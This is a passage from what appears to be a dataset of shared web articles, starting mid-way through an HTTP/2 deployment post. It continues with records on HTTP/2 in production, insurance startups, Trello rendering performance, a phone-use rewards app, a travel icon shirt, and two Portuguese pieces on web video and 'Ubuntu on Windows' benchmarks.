thing that typically changes about the scout is the version of the resources it loads, and it makes the most sense on a site where there are different payloads for different pages or users. For applications that previously included the scout in HTML, we can push the scout and the manifest, and have the scout request the manifest; for applications that loaded the scout as its own JS file, we can push the manifest when the scout file is loaded and, again, have the scout request the manifest. This approach also makes a further case for a standardized scout : application-specific configuration can be shipped in the manifest, and a standardized scout can be shared across applications. This scout could be a file loaded via a script tag, where the script tag itself provides information about the application manifest to use: <script src=""/static/shared/js/scout.js"" data-manifest=""/static/apps/myapp/manifest.js""></script> The manifest contains information about the other resources that the scout will request, and can even be used by the server to determine what to push alongside the HTML. A manifest could provide these instructions: module.exports = { baseUrl : ' resources : { vendor : { version : 'vendor-d41d8cd98f.js', pushWith : [ 'scout' ] }, application : { version : 'application-a32e3ec23d.js', pushWith : [ 'scout' ] }, secondary : { version : 'secondary-e43b8ad12f.js', pushWith : [ ] } } }; Processing this manifest would require intelligence on the part of the CDN; it may be necessary to replace s3 storage with an actual server that is capable of making these decisions, fronted by a CDN that can intelligently relay responses that include server push. The elephants in the room There are two notable challenges to the rapid transition to an HTTP/2 world: the continued existence of legacy browsers, especially on mobile; and the requirement that HTTP/2 connections be conducted over TLS. Thankfully, the latter provides a reasonable opportunity to address the former. Let's, then, talk about the TLS requirement first. HTTP/2 is a new protocol, and as such, it is greatly confusing to a large segment of the existing internet: proxies, antivirus software, and the like. During the development of HTTP/2 and SPDY before it, engineers observed that traffic that was transported on an insecure connection would frequently fail. The reason? The proxies, the antivirus software, and all the rest had certain expectations of HTTP traffic; HTTP/2 violated those expectations, and so HTTP/2 traffic was considered unsafe. The software that thwarted insecure HTTP/2 traffic didn't have the ability to inspect secure traffic, and so HTTP/2 traffic over a secure connection passed through just fine. Thus was born the requirement - which is a browser implementation detail, and not part of the HTTP/2 spec - that HTTP/2 web communication be conducted using TLS. The Let's Encrypt project aims to eliminate the high cost of obtaining the certificate that enables secure HTTP communication; there will still be technical hurdles to using that certificate, but those should be surmountable for anyone who cares enough to engineer a performant HTTP/2 deployment. In order for a browser and a server to communicate using HTTP/2, the browser and the server must first agree that they can . The TLS handshake that enables secure communication turns out to be the ideal time to negotiate the communication protocol, as well: no additional round trip is required for the negotiation. When a server is handling a request, it knows whether the browser understands HTTP/2; we can use this information to shape our payload. We can send a legacy browser an HTML file that includes an inlined scout file, and that inlined scout file can include the manifest. The manifest can provide information about how to support legacy browsers: module.exports = { baseUrl : ' resources : { // ... }, legacyResources : { legacyMain : { initialLoad : true, version : 'legacy-main-c312efa43e.js' }, legacySecondary : { version : 'legacy-secondary-a22cf1e2af.js' } } }; For Consideration: HTTP/2-friendly deployments with HTTP/1.1 support Putting the pieces together, we arrive at a deployment process that does the following: Generates files that contain one or more modules, grouped by likelihood of changing, functionality, or another strategy. The file grouping strategy must persist across builds; new groupings would need a new, unique name that had not been used by earlier builds. Generates legacy files , where those files contain modules that are grouped according to their likelihood to change, and according to whether they are required for initial load. Names all files with a content hash. Generates a manifest for the build, where the manifest includes: a baseUrl property whose value is a string that should be used as the base for generating a full URL to a resource, using the pattern <baseUrl>/<resource.version> a resources property whose value is an object that, for each file, provides: the most recent changed version a list of individual files which, when any of the files is requested, should trigger a push of the bundle a legacyResources property whose value is an object that, for each legacy bundle, provices: the most recent changed version an optional initialLoad property whose value is true if the resource should be loaded immediately by the scout Generates an HTTP/2 scout file* that provides the ability to load resources, and that loads a manifest. Generates an HTTP/1 scout file* that provides the ability to load resources, and that includes the manifest. Uploads the static resources. Updates a delivery mechanism (such as a server or a CDN) based on the data in the new manifest. The versioning and caching of the resources would be as follows: manifest Unversioned. Short cache time, e.g. 10 minutes, to allow for the rapid uptake of new resources for HTTP/2 browsers. scout Unversioned. Medium cache time, e.g. one day, assuming the contents of this file are considered relatively stable. legacy-scout Unversioned. Short cache time, e.g. 10 minutes, to allow for the rapid uptake of new resources for legacy browsers. application and vendor files Versioned. Long cache time, e.g. one year, given that new versions will be picked up when a new manifest is loaded. * In applications that a) control the initial HTML payload, and b) only use the scout to load other resources, it may not make sense to have a separate scout; it might be sufficient to just load those resources via <script> and <link> tags in the HTML itself. This approach isn't viable for applications that do not control the initial HTML payload, such as third-party applications. Reality check In several places so far, I've talked about the need for a server to make decisions about which resources it delivers, and when and how it delivers them. As I alluded to earlier, this could be profoundly challenging for CDNs, which traditionally simply receive a request and return a single resource in response. It also suggests the need for close collaboration between client and server development teams, and an increased knowledge of server-side technology for client-side developers. CDN support of HTTP/2 in general is rather disappointing, with some major vendors providing nothing more than vague timelines for non-specific support. As of this writing, I'm unaware of CDNs that support any notion of server push, but I'd be happy to find I am ill-informed. Ideally, CDNs need to provide applications with the ability to express how static assets relate to each other -- a task complicated by the fact that those relationships may be situational, such as in the case where an application doesn't want to push an asset that was just pushed to the same client 10 seconds before. One-size-fits-all push could be accomplished by setting a header on a file, indicating that other files should be pushed alongside it, but that doesn't allow for expressing more nuanced rules. Even for applications that just want to split their payload into smaller files to take advantage of HTTP/2, and that don't intend to use server push, there is still a gap when it comes to providing a positive experience for HTTP/1.1 clients. CDNs need to surface the ability to change a response not just based on the URL that is requested, but the protocol of the request. Without this ability, we'll be stuck having to choose which protocol to support. There is also work to be done on tooling, especially if we want to support HTTP/2 without significantly degrading the experience for legacy browsers. Ideally, our build tooling would figure out the optimal combination of files for us, with a knowledge of how the application was bundled previously so as not to squander past caching. The developer story for HTTP/2 also leaves a lot to be desired as of this writing. Front-end developers are among the most likely in an organization to advocate for this new technology, but my experiences over a few weeks of learning about HTTP/2 suggest that the effort required to set up even a local environment will stretch the comfort zone for many. With a working local environment in hand, the tools to understand the differences between HTTP/2 and HTTP/1 behavior are limited and often confusing. Chrome presents information in its network tab that seems to conflict with the wall of text in its net-internals tool, especially when it comes to server push . Charles Proxy doesn't yet speak HTTP/2. Firefox shows pushed resources as an entry in the network tab, but they appear as though they were never received. nghttp2 provides great insight into how an HTTP/2 server is behaving, but it doesn't speak HTTP/1.1, so you can't use it to do comparisons. Measuring performance using a tool like WebPagetest requires a real certificate, which you may not have handy if you're just trying to experiment. Alex wrote his 2013 post to document the product of years of experience in creating performant HTTP/1.1 deployments. HTTP/2 means we need to rethink everything we know about shipping applications to the web, and while the building blocks are there, there's still much to figure out about how we'll use them; the ""right"" answers are, in many cases, still TBD while we wait for vendors to act. Further Reading I've been bookmarking useful HTTP/2 resources as I come across them. Thanks Thanks to the many folks who have talked to me about the ideas in this post, but especially to Lon Ingram, Jake Archibald, and Andy Davies.",en
1460855894,CONTENT SHARED,-1249436522568155938,-8020832670974472349,1759315806103391579,,,,HTML,https://blog.newrelic.com/2016/02/17/http2-production/,Implementing HTTP/2 in Production Environments,"This post is part two of a two-part series detailing HTTP/2 best practices. Part one- How HTTP/2 is Changing Web Performance Best Practice s- introduced HTTP/2 and explained how it changes Web-performance best practices. In the first post in this series about HTTP/2, we discussed different ways the new protocol affects Web performance best practices. Although HTTP/2 offers several improvements over its predecessor-including new features like TCP connection multiplexing, header compression, and server push-an instant performance boost when making the transition isn't guaranteed as Web developers are still determining best practices. This post covers what's required to implement and debug HTTP/2-capable Web applications in production environments. 4/4 major browser vendors agree: HTTPS is required Firefox, Internet Explorer, Safari, and Chrome all agree: HTTPS is required to use HTTP/2 in the first place. This is critical because of a new extension to Transport Layer Security (TLS) that allows browsers and clients to negotiate which application-layer protocol to use. When a TLS connection is established for the first time, the server broadcasts support for HTTP 1.1, SPDY, or HTTP/2 without an additional round trip. me@ubuntu-trusty-64:~$ echo | openssl s_client -alpn h2 -connect google.com:443 | grep ALPN ALPN protocol: h2 DONE Because of changes Google recently announced , it's critical that backend SSL libraries are updated before Chrome drops support for the older Next Protocol Negotiation standard in favor of Application Layer Protocol Negotiation . Unfortunately, for almost every modern Linux distribution, this means compiling Web server software from source code with OpenSSL version 1.0.2 (not a trivial task). With the latest version of OpenSSL installed on servers, however, it's possible it check hosts for HTTP/2 support from the command line: A Web-based tool from KeyCDN and the is-http2 package can also help determine host support. The transition to the new protocol is relatively straightforward for sites that are already delivered securely. For non-secure sites, Web servers (and potentially CDNs) will need to be correctly configured for HTTPS. New open-source projects such as Let's Encrypt aim to make this process as easy, free, and automated as possible. Of course, regardless of HTTP/2 support, moving to HTTPS is becoming more important. Some search engines now use secure sites as a positive signal in page ranking and privacy advocates and industry experts strongly recommend it. Determining backend and content-delivery network support If HTTPS is properly configured, the next step is determining if the server or proxy software supports HTTP/2. The IETF HTTP Working Group maintains a comprehensive list of known implementations on its website and popular Web servers have all released or committed to support. Most popular application development languages have HTTP/2 packages as well. Support for the full suite of HTTP/2 features, especially server push, is not guaranteed. It's necessary to read the releases notes to determine which features are fully supported. If your site uses assets delivered by a Content Delivery Network (CDN), major vendors like CloudFlare and KeyCDN already support the new protocol even if your backend doesn't. With some providers, enabling HTTP/2 between your client and the edge locations can be as easy as toggling a radio button on a Web form. Using Wireshark for debugging HTTP/2 tooling still has a long way to go before catching up with HTTP 1.1. Because HTTP/2 is a binary protocol, simple debugging using telnet won't work and standard debugging proxies like Charles and Fiddler do not offer support as of January 2016. $ export SSLKEYLOGFILE=~/Desktop/tls_fun.log $ open -a Google\ Chrome In part one of our HTTP/2 series , we discussed how to use Chrome Net Internals ( chrome://net-internals#http2 ) to debug traffic. For more advanced analysis, using the low-level C (or Python bindings) of the nghttp2 library or Wireshark 2.0 is needed. Here, we'll focus on Wireshark . Configuring Wireshark to view HTTP/2 frame requires additional setup because all traffic is encrypted. To view Firefox or Chrome HTTP/2 traffic, you have to log TLS session information to a file specified by the environment variable SSLKEYLOGFILE . On Mac OS X, set the environment variable before launching the browser from the command line (you can see Windows instructions here ): Wireshark must be configured to use the SSLKEYLOGFILE in the preferences menu under the ""SSL"" protocol listing: When starting Wireshark for the first time, a network interface needs to be selected. Filtering only on port 443 is a good idea since all HTTP/2 traffic in Chrome is secure. After clicking on the shark icon, recording begins for all traffic sent over that interface. The output can be overwhelming, but it's easy to filter HTTP/2-only traffic by typing ""http2"" into the filter text box. When HTTP/2 packets are captured, they can now be decrypted into individual HTTP2 binary frames: Using the tabs at the bottom of the data panel, it's possible to see the decrypted frames. HEADERS frames, which are always compressed, can also be displayed decompressed. The transition is not yet straightforward For many Web applications in early 2016, transitioning to HTTP/2 is not yet straightforward. Not only is HTTPS required in order to use the new protocol in browsers, it's likely that server software will also need to be upgraded. In some cases, particularly with Backend-as-a-Service providers or Content Delivery Networks, HTTP/2 support might not be available-or even promised-yet. Lastly, easy-to-use debugging tools are still being worked on. Be sure to read part one of this two-part series: How HTTP/2 Is Changing Web Performance Best Practices Jeff Martens Background image courtesy of Shutterstock.com . , Product Manager for New Relic Browser , and Web performance expert Andy Davies contributed to this post with technical feedback and invaluable suggestions. As many teams have already discovered, it is likely that migrating any large site to HTTP/2 will likely contain surprises. Despite these challenges, many large Web properties have successfully launched HTTP/2 support with significant performance benefits . Carefully measuring real-user performance and understanding the limitations of current tooling is helpful to making the transition as smooth as possible. Additional resources",en
1460856715,CONTENT SHARED,-4218676349553328084,-1032019229384696495,4380415591758348364,,,,HTML,http://techcrunch.com/2016/04/16/the-new-world-insurance-agent/,The new-world insurance agent,"Silicon Valley is building the new-world insurance agent. My grandfather started selling insurance in the 1950s and insurance eventually granted him the American dream. Today, the industry accounts for 7 percent of U.S. GDP, with more than $1.1 trillion of net premiums paid annually. The aged way of conducting business is pushing the Valley to disrupt all layers of the value chain. Insurance agents are under the most visible attack because the profession has not changed or adapted since my grandfather was in business. Buying a policy is still a pre-PC experience. There are 1 million insurance agents in the U.S. today, the most in history (even though the profession is largely replaceable with software). Agents sell 100 percent of commercial policies, 95 percent of home policies and 70 percent of auto policies. Why isn't your broker made of silicon yet? Channel conflict. Incumbent carriers cannot turn their backs on the agent and go direct-to-consumer without the risk of offending their agent networks. So much existing and referral-based business is at stake that most carriers do not allow consumers to purchase insurance online -  they make consumers purchase through an agent. To keep the peace with agents, most carriers will provide an online quote, then direct you to the nearest agent instead of an online checkout (driving you from online to a retail location, what a horrible experience). The online opportunity Insurance carriers' channel conflict is the Valley's gain. Online intermediaries like PolicyGenius , The Zebra and Insurify have emerged with venture funding and a mission to sell insurance online (this is a natural, because 50 percent of consumers begin their insurance research online). Online originations is a much cheaper cost of acquisition than an insurance agent, allowing the carrier to compete with lower prices and higher underwriting losses. But these originators cannot yet transact policies directly, and still pass the consumer to the respective insurance provider to complete a purchase. Why isn't your broker made of silicon yet? PolicyBazaar is an Indian startup that can sell policies direct-to-consumer. They recognized that only 4 percent of Indian consumers have any non-health insurance and only 2 percent of that 4 percent bought their insurance online. Just look at the U.K. for inspiration, where more than 50 percent of auto policies are originated online and the online intermediaries are to thank for this. But intermediaries can come in much more creative forms than standard quote generation and policy comparison. Going mobile Cover (a graduate of the 2016 Y Combinator batch) built an app that quotes insurance for any personal property (jewelry, car, house, drones, etc.) based on a picture of the object. The app currently routes customers to a broker, but Cover will be licensed in the next few months to provide an end-to-end in-app solution. It's a compelling solution that lets consumers interact with insurance in a very different way. ""Today's brokers are not suited for mobile-sourced customers who expect instantaneous results from interaction: namely quotes and the ability to convert,"" says Cover CEO Karn Saroya. ""Our goal is to do more for the mobile consumer, because they expect more. If they have downloaded our app and entered their information, their intent is very strong and we want to satisfy that intent."" Saroya also mentioned getting creative requests that Cover never envisioned, like people taking selfies to try to get a life insurance quote or insuring a racehorse with a snapshot: a glimpse into the possible future. Circumventing the broker Some startups are getting rid of brokerages entirely. Trov is building a cloud-based, end-to-end mobile insurance platform, scheduled to launch later in 2016. Today, the Trov app keeps track of your valuable possessions (bicycle, skis, laptop, etc.). Soon, with the introduction of on-demand insurance, you'll be able to insure your laptop, skis, bicycle or other possessions, for however long you like, with a single swipe in the app. Premiums for these micro-duration policies are paid in-app, and claims are filed using a simple, mobile chat interface. Trov CEO Scott Walchek explains, ""Trov's on-demand insurance gives unprecedented control to the mobile generation - empowering them to protect just the things that are important to them, whenever they want, and for as long as they need - entirely on their smartphone."" This is only the beginning of what could be possible after on-demand insurance is introduced in the market. In the future Trov might enable people to insure their things by date, (skis are insured during winter), locality (laptop insured when it leaves the house) or by event (golf clubs insured when traveling). Commercial insurance The spotlight is on consumer insurance, but commercial insurance also presents a large opportunity. Embroker is a tech-enabled commercial broker built on the premise that it can serve small and medium businesses better than the status-quo insurance broker. ""Broker workflows and processes are all manual in nature. Because manual processes don't scale, smaller customers receive worse service outcomes,"" says CEO Matt Miller. Embroker is currently focused on improving efficiency, transparency and UX of commercial insurance for SMB clients. ""Brokers serve as market makers, but each individual broker manually calls or emails carriers based on their intuition about which one will be a good match. It's an extremely inefficient market,"" says Miller. Embroker uses predictive analytics to recommend coverage and optimize pricing. Clients save time and money, and get coverage that's better matched to their actual risks. The future Incumbent carriers are asleep at the wheel of innovation and will likely stay asleep for the next few years. But taking a selfie to get life insurance is not far away - the innovation will come from the Valley. I'm bullish on insurance startups. New carriers will be born and incumbent carriers will hopefully wise up. Featured Image: Lightspring / Shutterstock",en
1460858300,CONTENT SHARED,8676570915361993722,-1032019229384696495,4380415591758348364,,,,HTML,http://blog.fogcreek.com/we-spent-a-week-making-trello-boards-load-extremely-fast-heres-how-we-did-it/,We spent a week making Trello boards load extremely fast. Here's how we did it.,"We made a promise with Trello: you can see your entire project in a single glance. That means we can show you all of your cards so you can easily see things like who is doing what, where a task is in the process, and so forth, just by scrolling. You all make lots of cards. But when the site went to load all of your hundreds and thousands of cards at once, boards were loading pretty slow. Okay, not just pretty slow, painfully slow. If you had a thousand or so cards, it would take seven to eight seconds to completely render. In that time, the browser was totally locked up. You couldn't click anything. You couldn't scroll. You just had to sit there. With the big redesign , one of our goals was to make switching boards really easy. We like to think that we achieved that goal. But when the browser locked up every time you switched boards, it was an awfully slow experience. Who cared if the experience was easy? We had to make it fast. So I set out on a mission: using a 906 card board on a 1400×1000 pixel window, I wanted to improve board rendering performance by 10% every day for a week. It was bold. It was crazy. Somebody might have said it was impossible. But I proved that theoretical person wrong. We more than achieved that goal. We got perceived rendering time for our big board down to one second. Naturally, I kept track of my daily progress and implementation details in Trello. Here's the log. Monday (7.2 seconds down to 6.7 seconds. 7% reduction.) Heavy styles like borders, shadows, and gradients can really slow down a browser. So the first thing we tried was removing things like borders on avatars, card borders, backgrounds and borders on card badges, shadows on lists, and the like. It made a big impact, especially for scrolling. We didn't set out for a flat design. Our primary objective was to make things faster, but the result was a cleaner, simpler look. Tuesday (6.7 seconds down to 5.9 seconds. 12% reduction.) On the client, we use backbone.js to structure our app. With backbone, it's really convenient to use views. Really, very convenient. For every card, we gave each member its own view. When you clicked on a member on a card, it came up with a mini-profile and a menu with an option to remove them from the card. All those extra views generated a lot of useless crap for the browser and used up a bunch of time. So instead of using views for members, we now just render the avatars and use a generic click handler that looks for a data-idmem attribute on the element. That's used to look up the member model to generate the menu view, but only when it's needed. That made a difference. I also gutted more CSS. Wednesday (5.9 seconds... to 5.9 seconds. 0% reduction.) I tried using the browser's native innerHtml and getElementByClassName API methods instead of jQuery's html and append. I thought native APIs might be easier for the browser to optimize and what I read confirmed that. But for whatever reason, it didn't make much of a difference for Trello. The rest of the day was a waste. I didn't make much progress. Thursday (5.9 seconds down to 960ms) Thursday was a breakthrough. I tried two major things: preventing layout thrashing and progressive rendering. They both made a huge difference. Preventing layout thrashing First, layout thrashing. The browser does two major things when rendering HTML: layouts , which are calculations to determine the dimensions and position of the element, and paints , which make the pixels show up in the right spot with the correct color. Basically. We cut out some of the paints when we removed the heavy styles. There were fewer borders, backgrounds, and other pixels that the browser had to deal with. But we still had an issue with layouts. Rendering a single card used to work like this. The card basics like the white card frame and card name were inserted into the DOM. Then we inserted the labels, then the members, then the badges, and so on. We did it this way because of another Trello promise: real-time updates. We needed a way to atomically render a section of a card when something changed. For example, when a member was added it triggered the cardView.renderMembers method so that it only rendered the members and didn't need to re-render the whole card and cause an annoying flash. Instead of building all the HTML upfront, inserting it into the DOM and triggering a layout just once; we built some HTML, inserted it into the DOM, triggered a layout, built more HTML, inserted it into the DOM, triggered a layout, built more HTML, and so on. Multiple insertions for each card. Times a thousand. That's a lot of layouts. Now we render those sections before inserting the card into the DOM, which prevents a bunch of layouts and speeds things up. In the old way, the card view render function looked something like this... render: -> data = model.toJSON() @$.innerHTML = templates.fill( 'card_in_list', data ) # add stuff to the DOM, layout @renderMembers() # add more stuff to the DOM, layout @renderLabels() # add even more stuff to the DOM, layout @ With the change, the render function looks something like this... render: -> data = model.toJSON() data.memberData = [] for member in members memberData.push member.toJSON() data.labelData = [] for labels in labels when label.isActive labelData.push label partials = ""member"": templates.member ""label"": templates.label @$.innerHTML = templates.fill( 'card_in_list', data, partials ) # only add stuff to the DOM once, only one layout @ We had more layout problems, though. In the past, the width of the list would adjust to your screen size. So if you had three lists, it would try to fill up as much as the screen as possible. It was a subtle effect. The problem was that when the adjustment happened, the layout of every list and every card would need to be changed, causing major layout thrashing. And it triggered often: when you toggled the sidebar, added a list, resized the window, or whatnot. We tried having lists be a fixed width so we didn't have to do all the calculations and layouts. It worked well so we kept it. You don't get the adjustments, but it was a trade-off we were willing to make. Progressive rendering Even with all the progress, the browser was still locking up for five seconds. That was unacceptable, even though I technically reached my goal. According to Chrome DevTools' Timeline , most of the time was being spent in scripts. Trello developer Brett Kiefer had fixed a previous UI lockup by deferring the initialization of jQuery UI droppables until after the board had been painted using the queue method in the async library . In that case, ""click ... long task ... paint"" became ""click ... paint ... long task"". I wondered if a similar technique could be used for rendering cards progressively. Instead of spending all of the browser's time generating one huge amount of DOM to insert, we could generate a small amount of DOM, insert it, generate another small amount, insert it, and so forth, so that the browser could free up the UI thread, paint something quickly, and prevent locking up. This really did the trick. Perceived rendering went down to 960ms on my 1,000 card board. That looks something like this... Here's how the code works. Cards in a list are contained in a backbone collection. That collection has its own view. The card collection view render method with the queueing technique looks like this, roughly... render: -> renderQueue = new async.queue (models, next) => @appendSubviews(@subview(CardView, model) for model in models) # _.defer, a.k.a. setTimeout(fn, 0), will yield the UI thread # so the browser can paint. _.defer next , 1 chunkSize = 30 models = @getModels() modelChunks = [] while models.length > 0 modelChunks.push(models.splice(0, chunkSize)) for models in modelChunks # async.queue flattens arrays so lets wrap this array # so it's an array on the other end... renderQueue.push [models] @ We could probably just do a for loop with a setTimeout 0 and get the same effect since we know the size of the array. But it worked, so I was happy. There is still some slowness as the cards finish rendering on really big boards, but compared to total browser lock-up, we'll accept that trade-off. Trello developer Daniel LeCheminant chipped in by queueing event delegation on cards. Every card has a certain number of events for clicking, dragging, and so forth. It's more stuff we can put off until later. We also used the translateZ: 0 hack for a bit of gain. With covers, stickers, and member avatars, cards can have a lot of images. In your CSS, if you apply translateZ: 0 to the image element, you trick the browser into using the GPU to paint it. That frees up the CPU to do one of the many other things it needs to do. This browser behavior could change any day which makes it a hack, but hey, it worked. Friday I made a lot of bugs that week, so I fixed them on Friday. That was the whole week. If rendering on your web client is slow, look for excessive paints and layouts. I highly recommend using Chrome DevTool's Timeline to help you find trouble areas. If you're in a situation where you need to render a lot of things at once, look into async.queue or some other progressive rendering. Now that we have starred boards and fast board switching and rendering, it's easier than ever to using multiple boards for your project. We wrote ""Using Multiple Boards for a Super-Flexible Workflow"" on the Trello blog to show you how to do it. On the UserVoice blog, there's a great article about how they structure their workflow into different boards. Check those out. If you've got questions, I'll try and answer them on Twitter . Go try out the the latest updates on trello.com . It's faster, easier, and more beautiful than ever.",en
1460865893,CONTENT SHARED,2879555397105020076,-1032019229384696495,4380415591758348364,,,,HTML,http://www.businessinsider.com/pocket-point-pays-to-not-use-phone-2016-4,These guys created an app that stops college students from using their phones - and it's so successful they dropped out of college,"Pocket Points In 2014, Mitch Gardner and Rob Richardson, two students and fraternity brothers at Chico University in Northern California, were hanging out. Richardson, a computer science major, noticed something that was bugging him. While in class, everyone was looking at their phones, texting, and doing whatever, with ""no one paying attention to the teachers"" as Gardner recalls. The more they talked about it, the more annoyed they were. If technology could cause that kind a phone addiction, then it could also solve it, too, they thought. So they built an app called Pocket Points that rewards students for not using their phones while in class. Using ""geo-fencing,"" (a GPS ""fence"" around the campus), the app can sense when a student is on campus and automatically lock the phone down. Students earn points while they are on campus with the app on/phone locked. When the student leaves campus, the phone unlocks and texting and Snapchatting can commence. Points can then be cashed in for rewards at local businesses, like pizza, food, coffee, yogurt. They launched it on the Chico campus and in a couple of weeks, about one-third of the students were using it. Surprised by the response, they tried it at a much bigger campus, Penn State. Once again, within a few weeks, about one-third of the students on campus were using it, Gardner tells us. Pocket Points The local newspaper wrote an article about it , seen by Chris Friedland, CEO of Build.com, another Chico startup success story. He agreed to meet with them and liked them and the app so much, he invested, Gardner says. He's also become a mentor and ""such a great help."" ""He's super busy but he always takes our call,"" Gardner says. With Friedland's investment, they were off. They used their Sigma Kai frat connections to hire college ""ambassadors"" in other schools as they launched in them. These ambassadors spread the word about the app, and helped sign up local businesses. The app is now available at about 100 schools and the adoption rate is close to 50%, Gardner tells us. ""There are two million people at the schools where we launched at, and 500,000 people are using the app,"" he says. Pocket Points also has over 1,200 merchants using the app to advertise to the students and cash in points, Gardner says, like Papa Johns, Pizza Hut, Starbucks, Jamba Juice and some online stores like LuLu's. And the founders have raised a new $1.5 million round, he says. Dropping out of college In January, the team started to charge businesses advertising fees and to collect affiliate fees for online stores. In just a few months, revenue is in the healthy five digits/month and doubling almost every month, although the company is not yet profitable, Gardner says. They are now up to 20 full-time employees. So both Gardner, 23, and Richardson, 21, dropped out of college to run their company full time. (At least temporarily, they each took a leave of absence and intend to finish school one day). Their families were not pleased but the founders felt they were looking at a ""once in a lifetime opportunity,"" he says. And their investors warned them that they may not be able to juggle school and a burgeoning startup app at the same time. For now, Gardner is enjoying the ride and dreaming up expansion plans. ""There's so much excitement around the app,"" Gardner says. ""We want to launch into more schools. Obviously, we'd like every student in the US and the whole world to be world to be on Pocket Point.""",en
1460865970,CONTENT SHARED,-8980834789053459155,-1032019229384696495,4380415591758348364,,,,HTML,http://www.mymodernmet.com/profiles/blogs/iconspeak,Ingenious Shirt Uses Recognizable Icons to Help Break Language Barriers When Traveling,"Traveling is a fantastic way to learn about the world, but it's made significantly harder when there's a language barrier. ICONSPEAK wants to ease your frustrations with their ingenious solution: a shirt that displays common (and therefore recognizable) icons across the world. Simply point to a universal symbol (or symbols) on the shirt and it will help communicate what you're trying to say-whether it be that you're looking for a bathroom, need to know if the tap water is okay to drink, or simply want to know the local time. ICONSPEAK was founded by three friends-George, Steven, and Florian-who have traveled to the deepest corners of the world. Their brand came to life while on a backpacking trip through rural Vietnam. In trying to correspond with the locals, they found that the most effective way was to draw signs and symbols on paper. ""We thought it would be great to have an essential set of icons with you, permanently,"" they write , ""so that you could just point on whatever you need- and people would understand."" They began listing the types of imagery you'd need on a trip, and the shirt was born. ICONSPEAK sells their helpful t-shirt in their online shop . ICONSPEAK: Website | Instagram | Facebook via [ Lost At E Minor , Bored Panda ]",en
1460937761,CONTENT SHARED,153466256338950062,3609194402293569455,9066938972550698628,,,,HTML,http://startupi.com.br/2016/04/youtube-e-as-tendencias-de-webvideo/,YouTube e as tendências de webvídeo - Startupi,"*Por Greta Paz A comunicação em vídeo tem crescido de forma significativa, principalmente com a ajuda de algumas plataformas. O YouTube, Snapchat, Instagram e Facebook são os principais responsáveis pele crescimento e vem contribuído de forma determinante neste crescimento. Estima-se que em 2017, o vídeo representará aproximadamente 69% do tráfego da internet por consumidores. Porém, a utilização de serviços de vídeo online vai dobrar nesse período, atingindo mais de 80% de todos os usuários de internet no mundo. Por este motivo, os profissionais de marketing precisam estar atentos e atualizados com as novas tendências desse mercado para os próximos anos. É preciso inventar e reinventar de forma inovadora para conseguir espaço no mercado. O YouTube tem tido um crescimento promissor desde o seu surgimento e se tornando um dos canais mais promissores. Para as empresas, virou o principal canal de branded content , sendo uma das formas mais efetivas de comunicação direta para que empresas possam se comunicar melhor com seus consumidores. Além disso, abre espaço para os novos youtubers, que buscam seu espaço. Com o passar dos anos, o vídeo deixou de ser um complemento e passou a ser estratégico para a comunicação das marcas que desejam interagir com seu público. Além disso, muitas delas ainda pecam na estratégia de produção de conteúdos. Pensando nisso, listei abaixo as três principais tendências para o mercado de webvídeos para esse ano: Maior investimento Uma pesquisa realizada pela Interactive Advertising Bureau, de 300 grandes marcas, aponta que mais de 65% delas já estão deixando de investir na televisão e passando a investir somente em webvídeos. A tendência é de cada vez mais os vídeos sejam grandes apostas e pouco será falado sobre focar na publicidade na TV. Marcas como produtoras de conteúdo Para esse ano, a grande aposta para quem quer estar sempre na frente são as empresas especializadas em vídeos online, como produtoras de conteúdo. Atualmente, percebemos que as marcas não precisam mais da mídia para falar com seu público, elas já conseguem estabelecer um relacionamento e criar diálogos próprios e por isso, estão apostando também em seus conteúdos originais. Afinal, quem melhor do que uma universidade para falar de educação ou uma marca de cosméticos para falar de beleza, por exemplo. Cada empresa sabe muito bem sobre seu conteúdo e muitas vezes muito melhor que a mídia. Foco em resultado O branded por branded não faz mais tanto sentido como antes. As marcas precisam estar atentas nisso e também sobre o retorno do investimento. O mercado já oferece diversas ferramentas que podem auxiliar para não perder o foco, só que o mais importante é a empresa ter planejamento e análise de dados. Por fim, vale reforçar que é preciso desenvolver materiais interativos, com conteúdos relevantes e, claro, que atendam as necessidades dos consumidores. Somente desta forma sua empresa estará pronta para competir de igual para igual com os gigantes do mercado. * Greta Paz é fundadora da MPQuatro, é a primeira startup do Brasil dedicada a estratégias no YouTube. A empresa atua na produção, roteirização, finalização de webvídeos e seu diferencial está na ativação desse conteúdo no ambiente online, com um custo acessível às PME's porque realiza o ciclo completo de divulgação e elimina a necessidade de contratação de diversos prestadores de serviço.",pt
1460937875,CONTENT SHARED,6153710684104095269,3609194402293569455,9066938972550698628,,,,HTML,http://www.diolinux.com.br/2016/04/ubuntu-on-windows-benchmarks.html,"Testes mostram um ótimo desempenho do ""Ubuntu on Windows""","A ""novidade Linux"" dentro do Windows 10 já chamou a atenção dos interessados em medir o desempenho da aplicação, afinal, de nada adianta ter a ferramenta se ela não se comportar bem, não é verdade? Vamos falar sobre os benchmarks do ""Ubuntu on Windows"". O pessoal da Phoronix fez alguns benchmarks para averiguar a potência do ""Ubuntu on Windows"" e mostrar o quanto ele poderia ser eficiente ou não e os resultado surpreenderam muito, e positivamente. Resumo dos testes Você pode ver todos os testes com os gráficos no link no final deste artigo, vamos abordar aqui de maneira geral o que pudemos observar nos benchmarks. Basicamente foram comparados em teste o Windows 10 com o Bash, uma o Ubuntu 14.04 LTS, o Ubuntu 16.04 Beta e o ClearOS da Intel (uma distro Linux da empresa), apesar de ainda existirem bugs no Bash para Windows, como algumas funções que simplesmente não funcionaram corretamente, como o Aprígio Simões mostrou neste vídeo , depois de um pouco de trabalho, como o pessoal da Phoronix informou, tudo foi configurado corretamente. O hardware utilizado nos testes foi o seguinte: - Intel Xeon E3-1280 v5 Skylake (base 3.7GHz, 4.0GHz turbo) - 120GB Samsung 850 EVO SSD, - Radeon R9 290 (mesmo que não tenham sido feitos testes gráficos) - placa-mãe MSI C236A Workstation De maneira geral o Windows 10 se saiu bem, ganhando em alguns comparativos e perdendo em outros, só ""perdendo de lavada"", se é que se pode dizer assim, quando se travavam de destes que de alguma forma envolviam o sistema de arquivos, tirando isso o resultado foi satisfatório, o que mostra que o porte foi feito com sucesso, mas também mostra que o projeto ainda tem que evoluir para ter um desempenho melhor. _____________________________________________________________________________ Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.",pt
